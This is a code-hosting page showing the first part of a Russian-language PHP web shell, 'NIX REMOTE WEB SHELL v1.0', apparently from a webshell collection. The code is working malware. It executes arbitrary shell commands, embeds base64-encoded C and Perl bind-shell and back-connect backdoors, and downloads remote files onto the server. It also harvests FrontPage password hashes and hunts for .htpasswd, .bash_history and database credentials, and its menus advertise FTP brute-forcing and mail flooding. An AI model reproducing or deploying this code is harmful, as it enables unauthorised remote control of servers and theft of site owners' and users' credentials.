PageRenderTime 67ms CodeModel.GetById 24ms RepoModel.GetById 0ms app.codeStats 0ms

/xakep-shells/PHP/nixrem.php.php.txt

https://github.com/chickenlove/webshell
Plain Text | 1772 lines | 1602 code | 170 blank | 0 comment | 0 complexity | d9e10daa08c908b3431cb30e74b7e6b4 MD5 | raw file
Possible License(s): AGPL-1.0, GPL-2.0

Large files files are truncated, but you can click here to view the full file

    

  1. <?php
    2. 

  2. #########################################################
    3. 

  3. #                 NIX REMOTE WEB SHELL                  #
    4. 

  4. #       Coded by DreAmeRz          Ver 1.0              # 
    5. 

  5. #      ORIGINAL E-MAIL IS: dreamerz@mail.ru             #
    6. 

  6. #                               
    7. 

  7. #########################################################
    8. 

  8. $name="1";	// логин пользователя
    9. 

  9. $pass="1";	// пароль пользователя
    10. 

  10. if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$name || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)
    11. 

  11.    {
    12. 

  12.    header("WWW-Authenticate: Basic realm=\"AdminAccess\"");
    13. 

  13.    header("HTTP/1.0 401 Unauthorized");
    14. 

  14.    exit("Access Denied");
    15. 

  15.    }
    16. 

  16. ?>
    17. 

  17. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    18. 

  18. <html>
    19. 

  19. <head>
    20. 

  20. <title>NIX REMOTE WEB-SHELL v.1.0</title>
    21. 

  21. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    22. 

  22. <meta http-equiv="pragma" content="no-cache">
    23. 

  23. <meta http-equiv="Content-Language" content="en,ru"> 
    24. 

  24. <META name="autor" content="DreAmeRz (www.Ru24-Team.NET)">
    25. 

  25. <style type="text/css">
    26. 

  26. BODY, TD, TR {
    27. 

  27. text-decoration: none;
    28. 

  28. font-family: Verdana;
    29. 

  29. font-size: 8pt;
    30. 

  30. scrollbar-face-color: #FFFFFF;
    31. 

  31. scrollbar-shadow-color:#000000 ;
    32. 

  32. scrollbar-highlight-color:#FFFFFF;
    33. 

  33. scrollbar-3dlight-color: #000000;
    34. 

  34. scrollbar-darkshadow-color:#FFFFFF ;
    35. 

  35. scrollbar-track-color: #FFFFFF;
    36. 

  36. scrollbar-arrow-color: #000000;
    37. 

  37. }
    38. 

  38. input, textarea, select {
    39. 

  39. font-family: Verdana;
    40. 

  40. font-size: 10px;
    41. 

  41. color: black;
    42. 

  42. background-color: red;
    43. 

  43. border: solid 1px;
    44. 

  44. border-color: black
    45. 

  45. }
    46. 

  46. UNKNOWN {
    47. 

  47. COLOR: black;
    48. 

  48. TEXT-DECORATION: none
    49. 

  49. }
    50. 

  50. A:link {COLOR:black; TEXT-DECORATION: none}
    51. 

  51. A:visited { COLOR:black; TEXT-DECORATION: none}
    52. 

  52. A:active {COLOR:black; TEXT-DECORATION: none}
    53. 

  53. A:hover {color:blue;TEXT-DECORATION: none}
    54. 

  54. </STYLE>
    55. 

  55. </HEAD>
    56. 

  56. 

  57. 

  58. <BODY bgcolor="#fffcf9" text="#000000">
    59. 

  59. <P align=center>[ <A href="javascript:history.next(+1)">Вперед ] </A><B><FONT color=#cccccc size=4>*.NIX REMOTE WEB-SHELL</FONT></B>
    60. 

  60. v.1.0<FONT color=#linux size=1> Stable </FONT> [ <A href="javascript:history.back(-1)">Назад ]</A>[ <A href="?ac=about" title='Что умеет скрипт...'>О скрипте ]</a><BR>
    61. 

  61. <A href="?ac=info" title='Узнай все об этой системе!'>[ Информация о системе</A> ][ <A href="?ac=navigation" title='Удобная графическая навигация. Просмотр, редактирование...'>Навигация</A> ][ <A href="?ac=backconnect" title='Установка backconnect и обычного бекдора '>Установка
    62. 

  62. бекдора</A> ][ <A href="?ac=eval" title='Создай свой скрипт на php прямо здесь :)'>PHP-код</A> ][ <A href="?ac=upload" title='Загрузка одного файла, масcовая загрузка, загрузка файлов с удаленного компьютера!'>Загрузка файлов</A> ][ <A href="?ac=shell" title='bash shell, альясы...'>Исполнение
    63. 

  63. команд ]</A> <br><A href="?ac=sql" title='Работа с MySQL'> [ MySQL</A> ]<A href="?ac=sendmail" title='Отправь е-mail отсюда!'>[ Отправка письма</A> ][ <A href="?ac=mailfluder" title='Тебя кто-то достал? Тогда тебе сюда...'>Маилфлудер</A>
    64. 

  64.  ][ <A href="?ac=tools" title='Кодировщики/декодировщики md5, des, sha1, base64... '>Инструменты ]</A>[ <A href="?ac=ps" title='Отображает список процессов на сервере и позволяет их убивать!'>Демоны</A> ][ <A href="?ac=art" title='Альтернативные методы взлома...'>Альтернативные методы</A> ][ <A href="?ac=exploits" title='id=root gid=0 uid=0'>/root</A> ][ <A href="?ac=selfremover" title='Надоел этот сервер? Тогда можно удалить и шелл...'>Удалить шелл</A> ]</P>
    65. 

  65. <?php
    66. 

  66. if (ini_get('register_globals') != '1') {
    67. 

  67. 

  68.   if (!empty($HTTP_POST_VARS))
    69. 

  69.     extract($HTTP_POST_VARS);
    70. 

  70. 

  71.   if (!empty($HTTP_GET_VARS))
    72. 

  72.     extract($HTTP_GET_VARS);
    73. 

  73.   if (!empty($HTTP_SERVER_VARS))
    74. 

  74.     extract($HTTP_SERVER_VARS);
    75. 

  75. }
    76. 

  76. Error_Reporting(E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR);
    77. 

  77. set_magic_quotes_runtime(0);
    78. 

  78. set_time_limit(0);		// убрать ограничение по времени
    79. 

  79. ignore_user_abort(1);	// игнорировать разрыв связи с браузером
    80. 

  80. error_reporting(0);
    81. 

  81. $self = $_SERVER['PHP_SELF'];
    82. 

  82. $docr = $_SERVER['DOCUMENT_ROOT'];
    83. 

  83. $sern = $_SERVER['SERVER_NAME'];
    84. 

  84. if (($_POST['dir']!=="") AND ($_POST['dir'])) { chdir($_POST['dir']); }
    85. 

  85. $aliases=array(
    86. 

  86. '------------------------------------------------------------------------------------' => 'ls -la;pwd;uname -a',
    87. 

  87. 'поиск на сервере всех файлов со suid-битом' => 'find / -type f -perm -04000 -ls',
    88. 

  88. 'поиск на сервере всех файлов со sgid-битом' => 'find / -type f -perm -02000 -ls',
    89. 

  89. 'поиск в текущей директории всех файлов со sgid-битом' => 'find . -type f -perm -02000 -ls',
    90. 

  90. 'поиск на сервере файлов config' => 'find / -type f -name "config*"',
    91. 

  91. 'поиск на сервере файлов admin' => 'find / -type f -name "admin*"',
    92. 

  92. 'поиск в текущей директории файлов config' => 'find . -type f -name "config*"',
    93. 

  93. 'поиск в текущей директории файлов pass' => 'find . -type f -name "pass*"',
    94. 

  94. 'поиск на сервере всех директорий и файлов, открытых для записи' => 'find / -perm -2 -ls',
    95. 

  95. 'поиск в текущей директории всех директорий и файлов, открытых для записи' => 'find . -perm -2 -ls',
    96. 

  96. 'поиск в текущей директории файлов service.pwd' => 'find . -type f -name service.pwd',
    97. 

  97. 'поиск на сервере файлов service.pwd' => 'find / -type f -name service.pwd',
    98. 

  98. 'поиск на сервере файлов .htpasswd' => 'find / -type f -name .htpasswd',
    99. 

  99. 'поиск в текущей директории файлов .htpasswd' => 'find . -type f -name .htpasswd',
    100. 

  100. 'поиск всех файлов .bash_history' => 'find / -type f -name .bash_history',
    101. 

  101. 'поиск в текущей директории файлов .bash_history' => 'find . -type f -name .bash_history',
    102. 

  102. 'поиск всех файлов .fetchmailrc' => 'find / -type f -name .fetchmailrc',
    103. 

  103. 'поиск в текущей директории файлов .fetchmailrc' => 'find . -type f -name .fetchmailrc',
    104. 

  104. 'вывод списка атрибутов файлов на файловой системе ext2fs' => 'lsattr -va',
    105. 

  105. 'просмотр открытых портов' => 'netstat -an | grep -i listen',
    106. 

  106. 'поиск всех php-файлов со словом password' =>'find / -name *.php | xargs grep -li password',
    107. 

  107. 'поиск папок с модом 777' =>'find / -type d -perm 0777',
    108. 

  108. 'Определение версии ОС' =>'sysctl -a | grep version',
    109. 

  109. 'Определение версии ядра' =>'cat /proc/version',
    110. 

  110. 'Просмотр syslog.conf' =>'cat /etc/syslog.conf',
    111. 

  111. 'Просмотр Message of the day' =>'cat /etc/motd',
    112. 

  112. 'Просмотр hosts' =>'cat /etc/hosts',
    113. 

  113. 'Версия дистрибутива 1' =>'cat /etc/issue.net',
    114. 

  114. 'Версия дистрибутива 2' =>'cat /etc/*-realise',
    115. 

  115. 'Показать все процесы' =>'ps auxw',
    116. 

  116. 'Процессы текущего пользователя' =>'ps ux',
    117. 

  117. 'Поиск httpd.conf' =>'locate httpd.conf');
    118. 

  118. 

  119. 

  120. 

  121. /* Port bind source */
    122. 

  122. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5
    123. 

  123. jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5
    124. 

  124. ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW5
    125. 

  125. 0IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnV
    126. 

  126. mWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0
    127. 

  127. KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyh
    128. 

  128. hdG9pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0F
    129. 

  129. OWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2N
    130. 

  130. rZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2F
    131. 

  131. kZHIgKikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB
    132. 

  132. 7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHV
    133. 

  133. wMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ
    134. 

  134. 6IiwxMCk7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyh
    135. 

  135. hcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byByNTcgc2hlbGwgJiYgL2J
    136. 

  136. pbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGN
    137. 

  137. sb3NlKG5ld2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW5
    138. 

  138. 0ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVudGVyZWQpO2krKykgDQp7DQppZih
    139. 

  139. lbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID0
    140. 

  140. 9ICdccicpDQplbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCk
    141. 

  141. pDQpyZXR1cm4gMDsNCn0=";
    142. 

    143. 

  143. $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZi
    144. 

  144. AoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMSVNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2
    145. 

  145. NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORV
    146. 

  146. QsJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQ
    147. 

  147. pzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZH
    148. 

  148. JfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw
    149. 

  149. 0KbGlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCm
    150. 

  150. FjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspKQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaW
    151. 

  151. YgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+Jk
    152. 

  152. NPTk4iOw0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ0
    153. 

  153. 9OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3NlIENPTk47DQpleGl0IDA7DQp9DQp9";
    154. 

    155. 

  155. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ
    156. 

  156. HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ
    157. 

  157. DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ
    158. 

  158. HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L
    159. 

  159. CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd
    160. 

  160. GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka
    161. 

  161. WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO
    162. 

  162. iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR
    163. 

  163. VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK
    164. 

  164. FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    165. 

    166. 

  166. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0
    167. 

  167. KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10
    168. 

  168. pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJ
    169. 

  169. ybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2l
    170. 

  170. uLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA
    171. 

  171. 9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMSt
    172. 

  172. zdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVB
    173. 

  173. QUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4
    174. 

  174. sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCg
    175. 

  175. pIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1
    176. 

  176. zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWN
    177. 

  177. sKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    178. 

    179. 

  179. if(isset($uploadphp))
    180. 

  180. {
    181. 

  181. $socket=fsockopen($iphost,$loadport);					//connect
    182. 

  182. fputs($socket,"GET $loadfile HTTP/1.0\nHOST:cd\n\n");	//request
    183. 

  183. while(fgets($socket,31337)!="\r\n" && !feof($socket)) {
    184. 

  184. unset($buffer); }
    185. 

  185. while(!feof($socket)) $buffer.=fread($socket, 1024);
    186. 

  186. $file_size=strlen($buffer);
    187. 

  187. $f=fopen($loadnewname,"wb+");
    188. 

  188. fwrite($f, $buffer, $file_size);
    189. 

  189. echo "Размер загруженного файла: $file_size <b><br><br>" ;
    190. 

  190. }
    191. 

  191. 

  192. if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
    193. 

  193. elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
    194. 

  194. else {$ac = "navigation";}
    195. 

  195. 

  196. 

  197. 

  198. switch($ac) {
    199. 

  199. 

  200. // Shell
    201. 

  201. case "shell":
    202. 

  202. echo "<SCRIPT LANGUAGE='JavaScript'>
    203. 

  203. <!--
    204. 

  204. function pi(str) {
    205. 

  205. 	document.command.cmd.value = str;
    206. 

  206. 	document.command.cmd.focus();
    207. 

  207. }
    208. 

  208. //-->
    209. 

  209. </SCRIPT>";
    210. 

    211. 

  211. /* command execute */
    212. 

  212. if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -lad"; }
    213. 

  213. 

  214. if (($_POST['alias']) AND ($_POST['alias']!==""))
    215. 

  215.  {
    216. 

  216.  foreach ($aliases as $alias_name=>$alias_cmd) {
    217. 

  217.                                                if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;}
    218. 

  218.                                                }
    219. 

  219.  }
    220. 

  220. 

  221. 

  222. echo "<font face=Verdana size=-2>Выполненная команда: <b>".$_POST['cmd']."</b></font></td></tr><tr><td>";
    223. 

  223. echo "<b>";
    224. 

  224. echo "<div align=center><textarea name=report cols=145 rows=20>";
    225. 

  225. echo "".passthru($_POST['cmd'])."";
    226. 

  226. echo "</textarea></div>";
    227. 

  227. echo "</b>";
    228. 

  228. ?>
    229. 

  229. </td></tr>
    230. 

  230. 

  231. <tr><b><div align=center>:: Выполнение команд на сервере ::</div></b></font></td></tr>
    232. 

  232. <tr><td height=23>
    233. 

  233. <TR>
    234. 

  234. 	<CENTER>
    235. 

  235.  <TD><A HREF="JavaScript:pi('cd ');" class=fcom>| cd</A> |</TD>
    236. 

  236. 	<TD><A HREF="JavaScript:pi('cat ');" class=fcom>| cat</A> |</TD>
    237. 

  237. 	<TD><A HREF="JavaScript:pi('echo ');" class=fcom>echo</A> |</TD>
    238. 

  238. 	<TD><A HREF="JavaScript:pi('wget ');" class=fcom>wget</A> |</TD>
    239. 

  239. 	<TD><A HREF="JavaScript:pi('rm ');" class=fcom>rm</A> |</TD>
    240. 

  240. 	<TD><A HREF="JavaScript:pi('mysqldump ');" class=fcom>mysqldump</A> |</TD>
    241. 

  241. 	<TD><A HREF="JavaScript:pi('who');" class=fcom>who</A> |</TD>
    242. 

  242. 	<TD><A HREF="JavaScript:pi('ps -ax');" class=fcom>ps -ax</A> |</TD>
    243. 

  243.   <TD><A HREF="JavaScript:pi('cp ');" class=fcom>cp</A> |</TD>
    244. 

  244.   <TD><A HREF="JavaScript:pi('pwd');" class=fcom>pwd</A> |</TD>
    245. 

  245.  <TD><A HREF="JavaScript:pi('perl  ');" class=fcom>perl</A> |</TD>
    246. 

  246.  <TD><A HREF="JavaScript:pi('gcc ');" class=fcom>gcc</A> |</TD>
    247. 

  247.  <TD><A HREF="JavaScript:pi('locate ');" class=fcom>locate</A> |</TD>
    248. 

  248.   <TD><A HREF="JavaScript:pi('find ');" class=fcom>find</A> |</TD>
    249. 

  249.   <TD><A HREF="JavaScript:pi('ls -lad');" class=fcom>ls -lad</A> |</TD>
    250. 

  250.        </CENTER>           	
    251. 

  251. </TR>
    252. 

  252. 

  253. <?
    254. 

  254. /* command execute form */
    255. 

  255. echo "<form name=command method=post>";
    256. 

  256. 

  257. echo "<b>Выполнить команду</b>";
    258. 

  258. echo "<input type=text name=cmd size=85><br>";
    259. 

  259. echo "<b>Рабочая директория &nbsp;</b>";
    260. 

  260. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=text name=dir size=85 value=".exec("pwd").">"; }
    261. 

  261. else { echo "<input type=text name=dir size=85 value=".$_POST['dir'].">"; }
    262. 

  262. echo "<input type=submit name=submit value=Выполнить>";
    263. 

  263. 

  264. echo "</form>";
    265. 

  265. 

  266. /* aliases form */
    267. 

  267. echo "<form name=aliases method=POST>";
    268. 

  268. echo "<font face=Verdana size=-2>";
    269. 

  269. echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Выберите алиас<font face=Wingdings color=gray></font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
    270. 

  270. echo "<select name=alias>";
    271. 

  271. foreach ($aliases as $alias_name=>$alias_cmd)
    272. 

  272.  {
    273. 

  273.  echo "<option>$alias_name</option>";
    274. 

  274.  }
    275. 

  275.  echo "</select>";
    276. 

  276. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
    277. 

  277. else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
    278. 

  278. echo "&nbsp;&nbsp;<input type=submit name=submit value=Выполнить>";
    279. 

  279. echo "</font>";
    280. 

  280. echo "</form>";
    281. 

  281. 

  282. 

  283. break;
    284. 

  284. case "art":
    285. 

  285. echo "<a href='?ac=frontpage'><b>FrontPage Exploit by Nitrex</b></a><br>
    286. 

  286. Эксплойт для FrontPage. Собирает читаемые .htpassword файлы по всему серверу. Позволяет создать нехилую базу всех сайтов в виде логин:пароль от хостера, то есть пароли к FrontPage подходят к FTP и другим сервисам сервера. Рассшифровка производится с помощью John The Ripper (Standart/DES).<br><br>
    287. 

  287. <a href='?ac=dbexploit'><b>MySQL Find Config Exploit by DreAmeRz</b></a><br>
    288. 

  288. Эксплоит, позволяющий облегчить поиск паролей к базе данных. Производится поиск файлов с упоминанием ряда строк, указывающих на коннект к MySQL. Также возможно совпадение паролей с другими сервисами сервера. Пароли в большенстве случаев или вовсе не зашифрованы, или зашифрованы обратимым алгоритмом. Проанализировав файлы, указанные эксплоитом, вы быстро найдете пароль к MySQL.<br><br>
    289. 

  289. <a href='?ac=ftp'><b>FTP Brut by xoce</b></a><br>
    290. 

  290. Полноценный брутфорсер, работающий по методу подстановки паролей, которые берет из файла. Файл генерируется сам, вы только указываете число паролей и... все - перебор начинается!!! С помощью данного брутфорсера вы сможете подобрать пароль к любому хостингу без проблем! Чтобы было что перебирать, была добавлена база паролей, которая генерируется на лету (не пишите большие цифры в количестве паролей, так как это серьезная нагрузка на сервер! 10000 вполне хватит).<br><br>
    291. 

  291. <a href='?ac=ftppass'><b>FTP login:login Brut by Terabyte</b></a><br>
    292. 

  292. Эксплоит позволяет перебрать аккаунт на FTP на связку login:login. Чем больше юзеров в /etc/passwd, тем больше вероятность удачной работы эксплоита.<br><br>
    293. 

  293. <a href='?ac=shell'><b>Некоторые другие мини-эксплоиты приведены здесь в альясах.</b></a><br>";
    294. 

  294. break;
    295. 

  295. case "frontpage":
    296. 

  296. $p=getenv("DOCUMENT_ROOT");
    297. 

  297. if(exec("cat /etc/passwd")){
    298. 

  298. $ex=explode("/", $p);
    299. 

  299. $do_login=substr($p,0,strpos($p,$ex[2]));
    300. 

  300. $next_login=substr($p,strpos($p,$ex[2])+strlen($ex[2]));
    301. 

  301. exec("cat /etc/passwd", $passwd);
    302. 

  302. for($i=0; $i<=count($passwd); $i++) {
    303. 

  303. $xz=explode(":", $passwd[$i]);
    304. 

  304. $file="/".$do_login.$xz[0].$next_login."/_vti_pvt/service.pwd";
    305. 

  305. if(exec("cat ".$file)){
    306. 

  306. exec("cat ".$file,$open);
    307. 

  307. $a=$open[count($open)-1];
    308. 

  308. $fr=strpos($a, ":");
    309. 

  309. $open1=substr($a, $fr);
    310. 

  310. if($xz[4]=='') {
    311. 

  311. $file1="/".$do_login.$xz[0].$next_login."/_vti_pvt/.htaccess";
    312. 

  312. Unset($domain);
    313. 

  313. exec("cat ".$file1,$domain);
    314. 

  314. $domain1=explode(" ",$domain[8]);
    315. 

  315. $xz[4]=$domain1[1];
    316. 

  316. }
    317. 

  317. echo $xz[0].$open1.":".$xz[2].":".$xz[3].":".$xz[4].":".$xz[5].":".$xz[6]."<br>";
    318. 

  318. } } 
    319. 

  319. }
    320. 

  320. elseif(is_file("/etc/passwd")){
    321. 

  321. $ex=explode("/", $p);
    322. 

  322. $passwd="/etc/passwd";
    323. 

  323. echo "Путь:&nbsp".$p."<br>"; 
    324. 

  324. $do_login=substr($p,0,strpos($p,$ex[2]));
    325. 

  325. $next_login=substr($p,strpos($p,$ex[2])+strlen($ex[2]));
    326. 

  326. if(is_file($passwd)) {
    327. 

  327. $open=fopen($passwd,"r");
    328. 

  328. while (!feof($open)) {
    329. 

  329. $str=fgets($open, 100);
    330. 

  330. $mas=explode(":", $str);
    331. 

  331. $file="/".$do_login.$mas[0]."/".$next_login."/_vti_pvt/service.pwd";
    332. 

  332. if(is_file($file)) {
    333. 

  333. echo $mas[0];
    334. 

  334. $open1=fopen($file, "r");
    335. 

  335. $str1=fread($open1,filesize($file));
    336. 

  336. fclose($open1);
    337. 

  337. $fr=strpos($str1, ":");
    338. 

  338. $str2=substr($str1, $fr);
    339. 

  339. $str2=rtrim($str2);
    340. 

  340. //
    341. 

  341. if($mas[4]=='') {
    342. 

  342. $file1="/".$do_login.$mas[0]."/".$next_login."/_vti_pvt/.htaccess";
    343. 

  343. $open2=fopen($file1,"r");
    344. 

  344. $domain=fread($open2,filesize($file1));
    345. 

  345. fclose($open2);
    346. 

  346. $domain1=substr($domain,106,110);
    347. 

  347. $domain2=explode("AuthUserFile",$domain1);
    348. 

  348. $mas[4]=$domain2[0];
    349. 

  349. }
    350. 

  350. //
    351. 

  351. echo $str2.":".$mas[2].":".$mas[3].":".$mas[4].":".$mas[5].":".$mas[6]."<br>";
    352. 

  352. }
    353. 

  353. } 
    354. 

  354. fclose($open);
    355. 

  355. }
    356. 

  356. }
    357. 

  357. else{
    358. 

  358. echo "С пассом облом :(((";
    359. 

  359. }
    360. 

  360. break;
    361. 

  361. case "dbexploit":
    362. 

  362. echo "<PRE>";
    363. 

  363. echo "<b>В файле присутствует функция mysql_connect: </b><br>";
    364. 

  364. exec("find / -name *.php | xargs grep -li mysql_connect");
    365. 

  365. exec("find / -name *.inc | xargs grep -li mysql_connect");
    366. 

  366. exec("find / -name *.inc.php | xargs grep -li mysql_connect");
    367. 

  367. echo "<b>В файле присутствует функция mysql_select_db: </b><br>";
    368. 

  368. exec("find / -name *.php | xargs grep -li mysql_select_db");
    369. 

  369. exec("find / -name *.inc | xargs grep -li mysql_select_db");
    370. 

  370. exec("find / -name *.inc.php | xargs grep -li mysql_select_db");
    371. 

  371. echo "<b>В файле присутствует упоминание пароля: </b><br>";
    372. 

  372. exec("find / -name *.php | xargs grep -li $password");
    373. 

  373. exec("find / -name *.inc | xargs grep -li $password");
    374. 

  374. exec("find / -name *.inc.php | xargs grep -li $password");
    375. 

  375. exec("find / -name *.php | xargs grep -li $pass");
    376. 

  376. exec("find / -name *.inc | xargs grep -li $pass");
    377. 

  377. exec("find / -name *.inc.php | xargs grep -li $pass");
    378. 

  378. echo "<b>В файле присутствует слово localhost: </b><br>";
    379. 

  379. exec("find / -name *.php | xargs grep -li localhost");
    380. 

  380. exec("find / -name *.inc | xargs grep -li localhost");
    381. 

  381. exec("find / -name *.inc.php | xargs grep -li localhost");
    382. 

  382. echo "</PRE>"; 
    383. 

  383. break;
    384. 

  384. // список процессов
    385. 

  385. case "ps":
    386. 

  386. echo "<b>Процессы в системе:</b><br>";
    387. 

  387.  
    388. 

  388.   echo "<br>";
    389. 

  389.   if ($pid)
    390. 

  390.   {
    391. 

  391.    if (!$sig) {$sig = 9;}
    392. 

  392.    echo "Отправление команды ".$sig." to #".$pid."... ";
    393. 

  393.    $ret = posix_kill($pid,$sig);
    394. 

  394.    if ($ret) {echo "Все, процесс убит, аминь";}
    395. 

  395.    else {echo "ОШИБКА! ".htmlspecialchars($sig).", в процессе #".htmlspecialchars($pid).".";}
    396. 

  396.   }
    397. 

  397.   $ret = `ps -aux`;
    398. 

  398.   if (!$ret) {echo "Невозможно отобразить список процессов! Видно, злой админ запретил ps";}
    399. 

  399.   else
    400. 

  400.   {
    401. 

  401.    $ret = htmlspecialchars($ret);
    402. 

  402.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
    403. 

